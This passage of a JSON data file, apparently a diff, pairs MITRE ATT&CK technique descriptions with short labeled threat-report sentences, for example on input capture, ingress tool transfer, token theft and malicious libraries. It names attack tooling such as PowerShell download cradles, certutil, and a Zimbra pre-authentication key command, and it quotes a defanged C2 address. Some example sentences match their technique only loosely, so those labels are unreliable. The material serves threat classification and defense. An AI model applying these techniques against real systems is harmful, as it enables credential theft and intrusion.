by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * Browser password stealer (based on WebPassView)" + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page." + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: **Password stealer:** M00nD3V Logger has the capability to steal passwords and cookies from all possible browsers and email clients, as well as FTP clients." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1041", + "text": "ATT&CK technique: T1041 Exfiltration Over C2 Channel\nDescription: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The threat actor has an Osiris C2 server that is located at http://ylnfkeznzg7o4xjf[.]onion/kpanel/connect.php, which has been instructing infected systems to steal and exfiltrate web browser and email credentials." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: This is a known stealer that uses Discord tokens to steal and send user data to its C&C." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Figure 5: Hits of skimmer groups abusing legitimate services over 90 days." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 7: JavaScript file used to send user’s credentials to attacker’s server*" + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: * Stealing Telegram session files" + }, + { + "id": "T1110", + "text": "ATT&CK technique: T1110 Brute Force\nDescription: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Systems that use weak credentials are easy targets, and, once compromised, attackers sell access to the hacked systems on the dark web to other cybercriminals." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows" + }, + { + "id": "T1176.001", + "text": "ATT&CK technique: T1176.001 Browser Extensions\nDescription: Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted. Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners. Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store. Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction. Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence. There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for Command and Control. Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for Stealth.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1036.005", + "text": "ATT&CK technique: T1036.005 Match Legitimate Resource Name or Location\nDescription: Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS" + }, + { + "id": "T1195.001", + "text": "ATT&CK technique: T1195.001 Compromise Software Dependencies and Development Tools\nDescription: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user. Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1204.001", + "text": "ATT&CK technique: T1204.001 Malicious Link\nDescription: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1176", + "text": "ATT&CK technique: T1176 Software Extensions\nDescription: Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms. Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. Malicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. The modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1127.002", + "text": "ATT&CK technique: T1127.002 ClickOnce\nDescription: Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility. ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application. Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install. As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges. ClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation. Adversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`. Additionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).\nTactics: execution, stealth\nPlatforms: Windows" + }, + { + "id": "T1608.002", + "text": "ATT&CK technique: T1608.002 Upload Tool\nDescription: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, 